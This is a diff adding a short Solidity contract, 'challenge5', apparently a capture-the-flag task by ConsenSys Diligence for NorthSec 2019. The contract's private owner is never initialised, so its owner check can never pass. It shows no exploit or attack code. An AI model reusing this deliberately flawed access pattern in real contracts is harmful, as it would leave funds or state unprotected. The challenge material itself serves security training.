    // \/_____/ \/_____/ \/_/ \/_/ \/_____/ \/_____/ \/_/ \/_/ \/_____/ \/_____/ \/_____/
    // _____ __ __ __ ______ ______ __ __ ______ ______
    // /\ __-. /\ \ /\ \ /\ \ /\ ___\ /\ ___\ /\ "-.\ \ /\ ___\ /\ ___\
    // \ \ \/\ \ \ \ \ \ \ \____ \ \ \ \ \ \__ \ \ \ __\ \ \ \-. \ \ \ \____ \ \ __\
    // \ \____- \ \_\ \ \_____\ \ \_\ \ \_____\ \ \_____\ \ \_\\"\_\ \ \_____\ \ \_____\
    // \/____/ \/_/ \/_____/ \/_/ \/_____/ \/_____/ \/_/ \/_/ \/_____/ \/_____/
    36 changes: 36 additions & 0 deletions Challenge5.sol
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,36 @@
    // ConsenSys Diligence
    // NorthSec 2019
    // Montreal, Canada

    pragma solidity ^0.5.4;

    contract challenge5 {

    string public name;
    address private owner;

    event Hi(string name);

    function sayHi(string memory _name) public {
    if (msg.sender == owner) {
    name = _name;
    }
    emit Hi(_name);
    }

    }


    // ██████╗ ██████╗ ███╗ ██╗███████╗███████╗███╗ ██╗███████╗██╗ ██╗███████╗
    // ██╔════╝██╔═══██╗████╗ ██║██╔════╝██╔════╝████╗ ██║██╔════╝╚██╗ ██╔╝██╔════╝
    // ██║ ██║ ██║██╔██╗ ██║███████╗█████╗ ██╔██╗ ██║███████╗ ╚████╔╝ ███████╗
    // ██║ ██║ ██║██║╚██╗██║╚════██║██╔══╝ ██║╚██╗██║╚════██║ ╚██╔╝ ╚════██║
    // ╚██████╗╚██████╔╝██║ ╚████║███████║███████╗██║ ╚████║███████║ ██║ ███████║
    // ╚═════╝ ╚═════╝ ╚═╝ ╚═══╝╚══════╝╚══════╝╚═╝ ╚═══╝╚══════╝ ╚═╝ ╚══════╝

    // ██████╗ ██╗██╗ ██╗ ██████╗ ███████╗███╗ ██╗ ██████╗███████╗
    // ██╔══██╗██║██║ ██║██╔════╝ ██╔════╝████╗ ██║██╔════╝██╔════╝
    // ██║ ██║██║██║ ██║██║ ███╗█████╗ ██╔██╗ ██║██║ █████╗
    // ██║ ██║██║██║ ██║██║ ██║██╔══╝ ██║╚██╗██║██║ ██╔══╝
    // ██████╔╝██║███████╗██║╚██████╔╝███████╗██║ ╚████║╚██████╗███████╗
    // ╚═════╝ ╚═╝╚══════╝╚═╝ ╚═════╝ ╚══════╝╚═╝ ╚═══╝ ╚═════╝╚══════╝